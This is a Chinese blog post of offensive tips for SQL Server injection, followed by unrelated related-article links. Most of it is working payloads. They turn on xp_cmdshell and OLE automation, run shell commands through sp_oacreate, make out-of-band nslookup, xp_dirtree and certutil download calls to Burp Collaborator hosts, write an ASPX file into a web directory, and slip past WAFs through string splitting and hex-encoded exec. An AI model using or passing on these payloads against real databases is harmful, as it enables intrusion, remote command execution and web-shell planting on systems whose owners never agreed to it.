Sql server注入一些tips
sql server环境测试:
几个特性:
1.sql server兼容性可以说是最差的。
举例:
select x from y where id=1
字符串查询
select x from y where id='1' 这是会报错的,不允许的
select x from y where id="1"
假设y表有列名name,那么
select x from y where id="name" 为真。
那么利用这个特性我们可以爆破这个表的列名。
sql server下,挖掘注入就是用单引号('),双引号的场景很少,但是也有。 sql server不支持'1'-'1'=0这种运算,他会认为你是错误的,两个字符串无法进行相减,如果你是'1'-0他会进行类型转换不会出错。 修改:
update x set name='admin' where id=1
如果id处存在注入,那么本质上就是个where条件查询注入,查询怎么注入他就怎么注入。 update x set name="admin" where id=1
他会报错,没有人会这样写,用双引号。 测试sql server 修改注入,只能是'aaa'+'bbb'=aaabbb,如果可以就是注入。 或者是'aaa'' 和'aaa'''
除order by/group by外注入:
环境场景:当输入id->输出id相关数据,输入name,出现name相关数据,可能是order by还有可能是什么?
""是sql servr标识符,而不是字符串,他和mysql不一样
还有可能是这样的: select "name" from x
那么你可以这样去探测:name","id 总结:测试sql server注入使用双引号测试的场景很少,尝试"是不明智的
sql server注入到命令执行一些tips:
基础:
开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 执行命令:
exec master..xp_cmdshell 'ping dnslog' 2.启用sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE; 执行命令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt' ;declare+%40shell+int+exec+sp_oacreate+'wscript.shell',%40shell+output+exec+sp_oamethod+%40shell,'run',null,'c%3a\windows\system32\nslookup.exe%20"http://2ruqida2pbiyia3mnwnsaiadu40vok.burpcollaborator.net"'; ;declare+@f+int,@g+int;exec+sp_oacreate+%27Scripting.FileSystemObject%27,@f+output;EXEC+SP_OAMETHOD+@f,%27CreateTextFile%27,@f+OUTPUT,%27d:\Dzts\zt\admin\65.txt%27,1;EXEC+sp_oamethod+@f,%27WriteLine%27,null,%27<%@+Page+Language="C%23"%><%+Response.Write("hello,world");+%>%27--
3.调用sp_oamethod 关于bypass:
exec=execute
原语句:execute master..xp_dirtree 'c:'
改造:execute('master..xp_dirtree "c:" ')
再次改造:execute('master..xp_dirtree "\\im86rc9bogsvyfv87zip9sz34uaky9.burpcollaborator.net"' )
  
bypass执行命令:
';execute('xp_c'%2b'mdshell " certutil.exe -urlcache -split -f http://cyen6bl8kg2svupmggzc6dk1zs5it7.burpcollaborator.net"');--%20111
开启xp_cmdshell bypass:
execute("sp_configure 'show advanced options', 1");RECONFIGURE;execute("sp_configure 'xp_cmdshell', 1;RECONFIGURE"); sql server专属特性:
select 1e1select user
相当于执行select 1e1 和select user,bypass waf
'select 1e1declare @s varchar (8000) set @s=0x77616974666F722064656C61792027303A303A3227 exec (@s) -- a 案例:
aspx/.net站点支持get/post/cookie
  把get参数放到cookie中:
Sql server注入一些tips的更多相关文章
- SQL Server注入
		1.利用错误消息提取信息 1.1 枚举当前表与列 --' 抛出错误:选择列表中的列 'users.id' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中. 发现表名为 'users',存 ... 
- Sql server注入简单认识
		登录界面常常会涉及到敏感关键字的注入 为了对应面试,再看一下 怎样防止注入, 可以过滤SQL需要参数中的敏感字符(忽略大小写) public static string Split(string in ... 
- SQL server 注入 和 SQL server 扩展(10.29 第二十九天)
		Step1:检测注入点 Step2: select * from sysobjects (sysobjects 系统对象表,保存当前数据库的对象) select * from users wher ... 
- Enable a SQL Server Trace Flag Globally on Linux
		https://www.mssqltips.com/sql-server-tip-category/226/sql-server-on-linux// Microsoft has recently r ... 
- SQL Server performance tips
		Refer to: http://harriyott.com/2006/01/sql-server-performance-tips A colleague of mine has been look ... 
- Sql server之sql注入篇
		SQL Injection 关于sql注入的危害在这里就不多做介绍了,相信大家也知道其中的厉害关系.这里有一些sql注入的事件大家感兴趣可以看一下 防范sql注入的方法无非有以下几种: 1.使用类型安 ... 
- sql server手工注入
		sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ... 
- SQL Server的WAITFOR DELAY注入
		SQL Server的WAITFOR DELAY注入 WAITFOR是SQL Server中Transact-SQL提供的一个流程控制语句.它的作用就是等待特定时间,然后继续执行后续的语句.它包含 ... 
- Webservice WCF WebApi  前端数据可视化  前端数据可视化  C# asp.net PhoneGap html5  C# Where  网站分布式开发简介  EntityFramework Core依赖注入上下文方式不同造成内存泄漏了解一下?  SQL Server之深入理解STUFF  你必须知道的EntityFramework 6.x和EntityFramework Cor
		Webservice WCF WebApi 注明:改编加组合 在.net平台下,有大量的技术让你创建一个HTTP服务,像Web Service,WCF,现在又出了Web API.在.net平台下, ... 
随机推荐
- js 数组的浅拷贝和深拷贝
			1.背景介绍 javascript分原始类型与引用类型.Array是引用类型,直接用"="号赋值的话,只是把源数组的地址(或叫指针)赋值给目的数组,指向的是同一个内存地址,其中一个 ... 
- 推荐一款小众且好用的 Python 爬虫库 - RoboBrowser
			1. 前言 大家好,我是安果! 今天推荐一款小众轻量级的爬虫库:RoboBrowser RoboBrowser,Your friendly neighborhood web scraper!由纯 Py ... 
- dfs求连通块
			递归 递归是什么?绝大部分人都会说:自己调用自己,刚开始我也是这样理解递归的.确实没错,递归的确是自己调用自己.递归简单的应用:编写一个能计算斐波那契数列的函数,也就是这样: int fb(int n ... 
- ASP.NET Core扩展库之实体映射
			在分层设计模式中,各层之间的数据通常通过数据传输对象(DTO)来进行数据的传递,而大多数情况下,各层数据的定义结构大同小异,如何在这些定义结构中相互转换,之前我们通过使用AutoMapper库,但Au ... 
- LayUi表单模块无法正常显示
			问题: 当我们再使用LayUI的Form表单模块时,我们会把自己需要的表单赋值到我们的页面中,但是会出现无法正常显示的问题,如下: 出现原因: LayUI官方文档也明确表示:"当你使用表单时 ... 
- 《逆向工程核心原理》——API HOOK
			编写dll处理hook逻辑,注入到目标进程,实现api hook. Windows10 notepad,通过hook kernel32.dll.WriteFile,实现小写字母转大写保存到文件. ho ... 
- [组合][DP]luogu P3643 [APIO2016]划艇
			题面 https://www.luogu.com.cn/problem/P3643 对于一个序列,第i项可取的值在{0}∪[ai,bi]之间,求使序列非零部分单调递增的方案数 分析 设 $f[i][j ... 
- CUDA Cudnn pytorch 安装及错误 RuntimeError: cuDNN error: CUDNN_STATUS_NOT_INITIALIZED解决
			看我结论,大家试试看最后装pytorch看行不行,不行就去冲了PyTorch /Doge ubuntu 20.04 下安装CUDA,参考这个博主写的,先看显卡支持的最高CUDA版本,之后找一个较新 ... 
- C语言const是如何保证变量不被修改的?
			这小段文章要理清楚的是,在C语言中,$const$是如何保证变量不被修改的? 我们可以想到两种方式: 第一种,由编译器来阻止修改$const$变量的语句,让这种程序不能通过编译: 第二种,由操作系统来 ... 
- 博文推荐|多图详解 Apache Pulsar 消息存储模型
			关于 Apache Pulsar Apache Pulsar 是 Apache 软件基金会顶级项目,是下一代云原生分布式消息流平台,集消息.存储.轻量化函数式计算为一体,采用计算与存储分离架构设计,支 ... 
